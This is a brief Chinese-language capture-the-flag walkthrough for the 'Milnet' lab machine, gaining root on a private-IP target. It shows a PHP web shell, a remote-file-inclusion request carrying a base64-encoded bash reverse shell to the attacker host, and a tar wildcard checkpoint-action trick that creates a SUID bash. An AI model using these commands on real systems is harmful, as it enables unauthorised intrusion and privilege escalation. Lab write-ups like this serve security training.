Milnet
usershell
目标IP:192.168.205.141
端口信息
22/tcp open ssh
80/tcp open http
Web服务content.php
存在远程文件包含漏洞,会给route
参数拼接.php
后缀然后进行包含,测试可以进行远程文件包含
echo '<?php system($_POST["cmd"]);' > shell.php
python -m http.server
启动一个HTTP
服务器
curl -X POST http://192.168.205.141/content.php -d "route=http://192.168.205.128:8000/shell&cmd=echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDUuMTI4LzEyMzQgMD4mMQ==|base64 -d|bash"
获得www-data
权限
rootshell
crontab -l; cat /etc/crontab;cat /var/spool/cron/crontabs/root
发现一个计划任务
*/1 * * * * root /backup/backup.sh
但是/backup/backup.sh
不可写
文件内容
#!/bin/bash
cd /var/www/html
tar cf /backup/backup.tgz *
只能从这个tar
入手了,在/home/langman/SDINET/
下发现一篇文章DefenseCode_Unix_WildCards_Gone_Wild.txt
是一篇对Unix
通配符的安全问题分析的文章,根据文章内容进行利用
cd /var/www/html
echo IyAhL2Jpbi9iYXNoCmNwIC9iaW4vYmFzaCAvdmFyL3d3dy9iYXNoCmNobW9kICt4cyAvdmFyL3d3dy9iYXNo|base64 -d > shell.sh
chmod +x shell.sh
然后写一个php脚本来进行进一步的利用,反弹出来的shell创建这种文件有点问题
<?php
file_put_contents('--checkpoint=1','');
file_put_contents('--checkpoint-action=exec=sh shell.sh','');
在/var/www/html
下执行这个脚本
等待一分钟左右,获得root
权限